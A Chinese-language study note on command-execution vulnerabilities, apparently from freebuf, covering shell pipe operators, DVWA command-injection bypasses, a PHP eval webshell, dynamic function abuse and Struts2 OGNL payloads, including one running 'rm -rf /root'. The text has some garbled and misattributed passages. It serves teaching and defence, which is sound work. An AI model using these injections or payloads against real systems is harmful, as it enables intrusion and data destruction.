命令执行漏洞概述 – 作者:luodameinv

概念

命令执行漏洞属于高危漏洞,指攻击者可以随意执行系统命令,它属于代码执行的范畴,不仅存在B/S架构中,也存在于C/S架构中。

分类

OS命令执行

部分Web应用程序提供了一些命令执行的操作,例如,如果想测试 http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,例如管道连接符,就很有可能形成系统命令执行漏洞。

WINDOWS系统支持的管道符:
“|”:直接执行后面的语句
例如:ping www.baidu.com|whoami
1600512005_5f65e005971b711516c38.png!small

“||”:如果前面执行的语句执行出错,则执行后面的语句。
例如:png www.baidu.com||whoami
1600512014_5f65e00ed185fe8895606.png!small

“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
例如:
png www.baidu.com&whoami
ping www.baidu.com&whoami

1600512032_5f65e020b6c31651bcbf2.png!small

“&&”:如果前面的语句为真先执行第一个命令后执行第二个命令:
为假则直接出错,也不执行后面的语句。
ping www.baidu.com&&whoami
png www.baidu.com&&whoami
1600512042_5f65e02ae4d6f603e43a3.png!small

LINUX系统支持的管道符:
“;”执行完前面的命令执行后面的。

ping www.baidu.com;whoami
1600512054_5f65e0364695687b45fad.png!small

“|”:显示后面语句的执行结果
1600512062_5f65e03ef0a463cb11427.png!small

“||”:当前面的语句执行出错时,执行后面的语句。

1600512086_5f65e056a06ea92ce6174.png!small

“&”:如果前面的语句为假,则直接指向后面的语句,前面的语句可真可假。

1600512096_5f65e060312c69fd0f41f.png!small1600512108_5f65e06c77719205ea40d.png!small

“&&”:如果前面的语句为假则直接出错,也不执行后面的语句。
1600512116_5f65e074954d0ac7434b2.png!small

实验&练习:

本次实验靶机为windows系统:
DVWA& Command Injection-Low

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

从代码中可以看到,程序直接对输入的命令进行拼接执行,未做任何的过滤和处理。

输入IP地址:
1600512128_5f65e0808705556520fcb.png!small

127.0.0.1&&whoami
1600512138_5f65e08a3099cec6d5ef6.png!small

同理,输入其他的管道符,或者使用其他的系统命令都是可以执行的。

127.0.0.1| whoami1600512153_5f65e09944c95e01bdd96.png!small

DVWA& Command Injection-Medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

从代码中可以看出,程序对管道符“&&”和“;”进行了过滤,但是依旧有可以利用的管道符,例如“&”,”|”和“||”

1600512195_5f65e0c30e72b17fdb336.png!small

1600512202_5f65e0ca8479714c23a0f.png!small

1600512212_5f65e0d44134d751338bf.png!small

DVWA& Command Injection-High

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";

从代码的角度来看,过滤了许多的管道符,看起来无懈可击的样子。但是’| ‘多了个空格,这就导致了问题的产生:

1600512229_5f65e0e520397a78f4b93.png!small

脚本命令执行

任何脚本语言都可以调用操作系统命令,而各个脚本语言的实现方式都不一样。
区别: 命令执行漏洞是直接调用操作系统命令 代码执行漏洞则是靠执行脚本代码调用操作系统命令。

PHP命令执行

PHP 提供了部分函数用来执行外部应用程序,例如: system()、 shell_ exec)、 exec()和passthru()。

示例1:命令执行

<?php $host = $argv[1]; system("ping ".$host); //执行ping命令 ?>

使用PHP.EXE 执行此文件,命令为:“php.exe ceshi.php www.baidu.com”,PHP 将会调用系统ping命令,并将结果显示出来。攻击者则可能输入“php.exe ceshi.php www.baidu.com|whoami”。

1600512245_5f65e0f597ebf1e4c2414.png!small

注:使用PHP.EXE传递参数时,如果有空格,一般在Windows 下使用双引号(“”), Linux 下使用单引号(’)括起来,否则将无法正常执行。

示例2:代码执行

PHP中提供了一个叫做eval()的函数,如一句话木马就是使用了这个函数, eval()函数可以把字符串按照PHP代码来执行,就是可以动态执行PHP代码。

<?php eval($_REQUEST['code'])?>

保存为ceshi.php后,上传至网站目录下,即可执行系统命令,且可获得webshell:

1600512260_5f65e1046035580b37a57.png!small

1600512266_5f65e10aa4bf8d7729e8f.png!small

示例3:动态函数调用

<?php
  function A(){
    return "A()函数..";
  }
  function B(){
    return "B()函数..";
  }
  $fun = $_REQUEST['fun'];
  echo $fun();  //动态调用函数
?>

PHP 解析器可以根据f u n 的 值 来 调 用 对 应 的 函 数 , 当 变 量 fun 的值来调用对应的函数,当变量fun的值来调用对应的函数,当变量fun的值为“A”时,那么$fun()对应的函数为A(),虽然这样给开发带来了极大的便利,但却存在安全隐患.
例如:http://10.1.8.8/ceshi.php?fun=phpinfo

1600512281_5f65e11933a021facc4f9.png!small

当f u n 值 为 p h p i n f o 时 , fun 值为phpinfo 时,fun值为phpinfo时,fun() 所对应的函数即为phpinfo();

可能有些读者会认为最多能执行一个phpinfo(),并没有太多影响,这样的想法是错误的。
例如:程序员还想给函数传递参数,代码可能如下:

<?php
  function A(){
    return "A()函数..";
  }
  function B(){
    return "B()函数..";
  }
  $fun = $_GET['fun'];
  $par = $_GET['par'];
  $fun($par);  //执行函数,并且使用参数
?>

当用户访问http://10.1.8.8/ceshi.php?fun=system&par=whoami,最终执行的就是:system(“whoami”)命令:

1600512296_5f65e128c7ace60857067.png!small

示例四:PHP函数代码执行漏洞
在PHP中,代码执行漏洞出现较多,像preg_replace()、ob_start()、array _map() 等函数都存在代码执行的问题,在此以array_map() 函数为例说明,代码如下:

<?php
  $arr = $_GET['arr'];
  $array = array(1,2,3,4,5);
  $new_array = array_map($arr, $array) ;
?>

array_map() 函数的作用是返回用户自定义函数处理后的数组,现在输入URL:
httpp://10.1.8.8/ceshi.php?arr=phpinfo 后,发现phpinfo 代码也会被执行。

1600512308_5f65e134929c4495cd23f.png!small

关于PHP更多的危险函数,读者可参阅《高级PHP应用程序漏洞审核技术》一书。

Java 命令执行

这里之所以叫作Java 命令执行,是因为Java 体系非常庞大,其中包括:Java SE、Java EE、Java ME。而无论是分支还是框架,都是以Java SE 为基础的。

Java EE 之前被称为J2EE,Java EE 是在Java SE 的基础上构建的,它提供Web服务、组件模型、管理和通信API,可以用来实现企业级的面向服务体系结构(service-oriented architecture,SOA)和Web 2.0应用程序开发。

在Java SE 中,存在Runtime 类,在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令。像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法(或者使用ProcessBuilder类,但较少)。下面以 Runtime类为例进行说明,模型代码如下:

import java. io.InputStream;  //导包操作
import java. io.InputStreamReader;
import java. io.BufferedReader;
public class RuntimeTest{
  public static void main (String args []) throws Exception{
    if (args.length==0) {
      System.exit(1);  //没有参数就退出
    }
    String command = args[0];
    Runtime run = Runtime.getRuntime();
    Process pro = run. exec(command);  //执行命令
    InputStreamReader in = new InputStreamReader(pro.getInputStream());
    BufferedReader buff = new BufferedReader(in);
    for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
      System.out.println(temp);  //输出结果
    }
  buff .close();
  in.close();
  }
}
1

上面的代码经过编译后可以执行命令操作,如: java RuntimeTest “whoami”,执行命令操作。
1600512324_5f65e144438d8d34f1fd5.png!small

如果程序开发人员没有正确地使用Runtime 类,就有可能造成Java 命令执行漏洞。像有名的Struts2 框架就存在命令执行漏洞,在稍后的章节中会讲述。

还有非常多的JSP 木马,也都会使用Runtime.getRuntime().exec()来执行系统命令。

框架执行漏洞

至今,框架技术已经被广泛应用,越来越多的开发者喜欢使用框架。框架让开发变得更简单、更省时、更高效,甚至有些甲方公司在把项目交给乙方公司开发时,会明确要求乙方使用指定的框架技术,比如,有名的Java 三大框架(Hibernate、 Spring 和Struts )。

使用框架是好事还是坏事?对开发者来说是好的,但是一旦出现了安全漏洞,则是致命的。框架的用户群体越多,危害就越大。像之前Struts2 爆出的代码执行漏洞,就让国内的网站消失了一大批。

Struts2 代码执行漏洞

Struts 是一个优秀的MVC 框架,被称为Java 的三大框架之一,你可以想象使用Struts 的用户有多少,但Struts的第二个版本却爆发了多次致命的命令执行漏洞。所有使用Struts2开发的应用程序几乎都受到了影响。

Struts1 最初是独立的MVC 框架,但是Struts2 改写了Struts1 的核心技术,换了一个新的面貌,在底层采用了XWORK 的核心。

XWORK 也是一个MVC 框架,是Struts1 的强力竞争对手,Struts1 推广业务做得好,用户量要比XWORK 多许多,但是从技术角度看、框架结构却没有XWORK 做得好,而Strdent2 是
在Struts1 和XWORK 技术基础上进行了合并,Struts2 与Struts1可以说相差非常大,算是一个全新的框架。

Struts2 的每个版本都有相应的漏洞补丁,可以在其官方网站http://trutsapachec.org/看到。其中有几个比较知名的高危漏洞都是Struts2 的代码执行漏洞。

在2010年7月初,exploit-db 网站爆出了一个Struts2 的命令执行漏洞,漏洞名称为:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability,下 面是关于Struts2命令执行的简单介绍。

Struts2 的核心是使用的webwork(XWORK的核心)框架,处理action 时通过调用底层Java Bean 的gter/setter 方法来处理http 参数,它将每个http 参数声明为一个ONGL 语句。当我们提交如下http 参数时:

?user.address.city=bj&user[‘name’]=admin
ONGL将它转换为:

0bj.getUser().getAddress().setCity=“bj”;
0bj.getUser().setName= “admin”;
这个过程就是用ParametersInterceptor 拦截器调用ValueStack.setValue() 来完成的,并且其参数是可控的。

XWORK 也有自己的保护机制,比如,为了防范篡改服务器端对象,XWork 的ParametersInterceptor 拦截器不允许参数名中出现“#”字符,但如果使用了Java 的unicode 字符串表示 (\u0023),攻击者就可以绕过保护:

?(’\u0023_memberAccess[‘allowStaticMethodAccess’]’) (meh) =true& (aaa) ((’\u0023context[\ ‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023foo’) (\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((’\u0023rt.exit(1)’)(\u0023rt\[email protected]@getRuntime()))=1

转义后的值如下:

?(’#_memberAccess[‘allowStaticMethodAccess’]’) (meh) =true& (aaa) ((’#context[\ ‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((’#rt.exit(1)’)(#rt\[email protected]@getRuntime()))=1

OGNL 处理时最终的结果就是:

java.lang.Runtime.getRuntime().exit(1);
类似的可以执行如下语句:

java.lang.Runtime.getRuntime().exec(“net user”);
java.lang.Runtime.getRuntime().exec(“rm -rf /root”);

这就是Struts2<2.2.0的命令执行漏洞,让国内外的一些金融、教育、电子商城网站“死”了一大批,罪魁祸首并不是网站自身的漏洞,而是Struts2。

Struts2 在漏洞处理方面是比较及时的,但从漏洞修复来说,却没有完全处理完毕,Struts2 只修复表面的漏洞,核心问题并没有完全解决,所以导致了后续一系列的执行漏洞。比如:、 标签的执行漏洞,这些执行漏洞只有在使用该标签时才会引发。

在2013年6月, Struts2又大规模地爆发了执行漏洞,这次漏洞出现在DefaultActionMapper 类中,影响版本为: Struts 2.0.0~Struts 2.3.15。

一个简单的代码执行语句如下:

http://host/struts2-blank/example/X.action?action:%25{3*4}
访问以上URL,Struts2 将会执行34 表达式,如果将34 表达式换成以下语句,则会形成致命的代码执行漏洞:

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,‘goes’,‘here’})).start()}
目前ThinkPHP 已经修补了此漏洞。

命令执行漏洞防御

了解了代码的执行原理后,对其防范就比较简单了,根据语言的相似点,可以得到以下总结。

尽量不要使用系统执行命令;

在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符进行转义;

在使用动态函数之前,确保使用的函数是指定的函数之一;

对PHP语言来说,不能完全控制的危险函数最好不要使用。

在进行防范之前,确保输入是否可控,如果外部不可输入,代码只有程序开发人员可以控制,这样,即使你写的代码漏洞百出,也不会有危害。这一点适用于所有的安全漏洞防范。当然,并不建议你这么做,隐藏起来并不是真的安全,要永远假定攻击者知晓系统内情,这样才能真正做到代码阶段的漏洞防范。

本文章为命令执行漏洞学习手记,参照《web安全深度剖析》书籍。

来源:freebuf.com 2020-09-19 19:18:13 by: luodameinv

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论